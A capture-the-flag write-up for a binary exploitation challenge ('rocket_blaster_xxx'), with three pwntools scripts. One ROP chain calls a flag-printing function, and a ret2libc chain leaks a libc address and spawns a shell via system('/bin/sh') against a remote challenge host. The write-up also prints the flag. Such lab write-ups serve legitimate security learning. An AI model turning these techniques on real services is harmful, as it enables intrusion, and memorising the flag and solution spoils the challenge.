Write-up author: jon-brandy
- ROP gadgets.
- Manipulate return address.
- Popping 3 gadgets.
Prepare for the ultimate showdown! Load your weapons, gear up for battle, and dive into the epic fray—let the fight commence!
- In this challenge we're given a 64 bit binary, dynamically linked, not stripped.
BINARY PROTECTIONS
- Upon reviewing the decompiled code on ghidra, we can see the main() function only accepts 1 input then terminate the process.
- Reviewing other functions, we noticed a function named
fill_ammo
which opens the flag file then print it's content.
- Seems the objective here is to return to
fill_ammo
. Noticed thefill_ammo
function accepts 3 params, those 3 also used for a checker. - However since there is no canary and PIE is disabled, hence it's very easy for us to pwn the binary.
GET RIP OFFSET --> 40
- Great! Next, let's search for useful gadgets.
- Popping 3 values to param, means we need RDI (as the 1st arg), RSI (as the 2nd arg), and RDX (as the 3rd arg).
CHECK FOR GADGETS
- Nice! The gadgets are available.
- We can do simple ROP then, here's the crafted script.
SCRIPT
from pwn import *
exe = './rocket_blaster_xxx'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'
# context.log_level = 'DEBUG'
library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)
sh = process(exe)
rop = ROP(elf)
p = flat([
cyclic(40),
rop.find_gadget([
'ret'
]).address,
rop.find_gadget([
'pop rdi',
'ret'
]).address,
0xdeadbeef,
rop.find_gadget([
'pop rsi',
'ret'
]).address,
0xdeadbabe,
rop.find_gadget([
'pop rdx',
'ret'
]).address,
0xdead1337,
elf.sym['fill_ammo']
])
sh.sendline(p)
sh.interactive()
REMOTE TEST
- As you can see, we got the flag!.
ALTERNATE SCRIPT (much shorter using ropstar).
from pwn import *
exe = './rocket_blaster_xxx'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'
# context.log_level = 'DEBUG'
library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)
# sh = process(exe)
sh = remote('94.237.54.176',59344)
rop = ROP(elf)
rop.call(rop.ret.address)
rop.fill_ammo(0xdeadbeef,0xdeadbabe,0xdead1337)
p = cyclic(40) + rop.chain()
sh.sendline(p)
sh.interactive()
- Remembering there is no canary, no PIE, and RDI is available. We can perform ret2libc here.
- Simply leak the printf@got address to calculate the libc base.
- Then execute another ROP to perform
system("/bin/sh")
. - Here's the crafted script.
SCRIPT (RCE)
from pwn import *
exe = './rocket_blaster_xxx'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'
# context.log_level = 'DEBUG'
library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)
# sh = process(exe)
sh = remote('94.237.54.176',59344)
rop = ROP(elf)
p = flat([
cyclic(40),
rop.find_gadget(['pop rdi', 'ret'])[0],
elf.got['printf'],
elf.plt['puts'],
elf.sym['main']
])
sh.sendline(p)
sh.recvuntil(b'testing..')
sh.recvline()
leak = unpack(sh.recv(6) + b'\x00' * 2)
success(f'LIBC LEAK --> {hex(leak)}')
libc.address = leak - libc.sym['printf']
info(f'LIBC BASE --> {hex(libc.address)}')
p = flat([
cyclic(40),
rop.find_gadget(['ret']).address,
rop.find_gadget(['pop rdi', 'ret']).address,
next(libc.search(b'/bin/sh\x00')),
libc.sym['system']
])
sh.sendline(p)
sh.interactive()
RESULT
- Nice! We've pwned it!
HTB{b00m_b00m_b00m_3_r0ck3t5_t0_th3_m00n}